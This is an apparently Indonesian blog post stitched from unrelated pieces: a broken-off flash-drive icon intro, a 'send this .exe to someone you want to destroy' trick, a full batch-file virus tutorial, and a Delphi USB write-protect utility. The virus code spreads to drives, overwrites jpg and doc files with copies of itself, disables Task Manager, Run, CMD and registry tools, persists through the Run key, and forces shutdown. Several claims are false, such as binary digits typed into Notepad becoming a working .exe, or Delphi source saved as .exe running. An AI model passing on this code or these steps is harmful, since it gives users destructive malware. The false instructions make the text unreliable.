APAKAH SAHABAT

Untuk membuat icon untuk flashdisk, ada beberapa hal yang harus sobat persiapkan diantaranya, sebuah icon yang akan sobat jadikan icon untuk flashdisk sobat, dan yang kedua adalah sebuah file autorun yang akan meload icon tersebut setelah flashdisk sobat dicolokkan ke komputer!

warning!!

1) Tulis kode-kode ini dalam Notepad.

01001011000111110010010101010101010000011111100000

2) Save as (terserah).exe dgn ada nama 01001011000111110010010101010101010000011111100000

3) Kirim ke orang yang ingin Anda hancurkan, dan akan bekerja jika dibuka.

NB : Jangan dibuka di komputer Anda!!!

SEKALI LAGI SAYA INGATKAN ARTIKEL INI CUMAN UNTUK BERBAGI N SHARING AKIBAT ATAU DAMPAK DARI ARTIKEL INI DILUAR TANGGUNG JAWAB

• TRIK-TRIK MEMBUAT VIRUS BACTH FILE
  
  Untuk membuat virus batch file adapun caranya adalah sebagai berikut:
  
  1. Aktifkan program Notepad
  2. Maka akan muncul halaman Notepad seperti pada gambar di bawah ini:
  3. Kemudian ketikkan listing program sebagai berikut:
  
  Echo off
  
  if no exist c:\windows\%0 copy %0 c:\windows
  
  for %%p in (A C D E F) do copy %0 %%p:
  
  for %%q in (*.jpg *.doc) do type %0 > %%q.bat
  
  for %%r in (*.jpg *.doc) do attrib +h +s %%r
  
  RED ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f
  
  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
  
  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  
  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
  
  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  
  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f
  
  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4 /f
  
  REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Antz /t REG_SZ /d C:\Windows\Antz.bat /f
  
  REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d www.antzsoft.net /f
  
  REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d Maaf komputer Anda telah kami Kuasai By Antz Virus /f
  
  REG ADD HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
  
  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
  
  Shutdown -s -t 10 -c “Virus akan mematikan komputer Anda” -f
  
  1. Setelah itu simpan sebagai file berekstensi *.bat
  2. Kemudian jalankan file tersebut lalu lihatlah hasilnya.
  jangan disalah artikan ini cma sbagai sarana wawasan
  

proteksi flashdisk dari serangan virus >>

protek usb DaRi seranGan Virus.

Kadang ketika saya dari warnet untuk mengupload file atau sejenisnya , setibanya di rumah flashdisk terdapat tamu tak diundang, klo ga virus sality ya virus alman. Padahal antivirus di warnet sudah pake salah satu antivirus lokal yang suka mengeluarkan updatean, kok ga terdeteksi ya :( . Akhirnya capek lagi untuk mengcopy file2 program yang saya wajibkan di flashdisk ) akhirnya saya menemukan program untuk memprotek flashdisk.
__________________________________

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, registry, StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
Label2: TLabel;
Label3: TLabel;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure showCurrentStatus;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

const
regKey = ‘\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies’;
regValue = ‘WriteProtect’;
var
Form1: TForm1;
currentVal: integer;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
try
with TRegistry.Create do
begin
try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey(regKey, true) then
begin
if currentVal = 0 then
WriteInteger(regValue, 1)
else
WriteInteger(regValue, 0);
end;
finally
free;
end;
end;
except
on E:Exception do
begin
showmessage(’Error updating registry’);
end;
end;
showCurrentStatus;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
showCurrentStatus;
end;

procedure TForm1.showCurrentStatus;
begin
try
with TRegistry.Create do
begin
try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey(regKey, false) then
begin
currentVal := ReadInteger(regValue);
if currentVal = 0 then
label1.caption := ‘Current status: Your USB disk is now WRITEABLE’
else
label1.caption := ‘Current status: Your USB disk is now READ ONLY’;
end
else
begin
label1.caption := ‘There is no current setting for your USB disk.’;
currentVal := 0;
end;
finally
free;
end;
end;
except
on E:Exception do
begin
showmessage(’Error reading current status from registry’);
label1.caption := ‘There is no current setting for your USB disk.’;
currentVal := 0;
end;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
WinExec(’explorer.exe http://anggiawan.web.id’,SW_NORMAL);
end;

ini caranya

caraNya gampang qok :
1.anda buka notepad
2.copy scrip di atas lalu paste di notepad.
3.klik file save as ‘file nameNya ‘USBWriteableAdjuster.exe’
4.simpan file tersebut di flashdisk .buat keamanan klik kanan file tersebut propertis general centang kata “hidden” ceritanya menyembunyikan , . .hehe”.
sudah selesai , gampang kan …
____________________________________________________________

Untuk file yang sudah jadi silahkan download di http://putih.0fees.net/dl/USBWriteableAdjuster.zip

Semoga bermanfaat.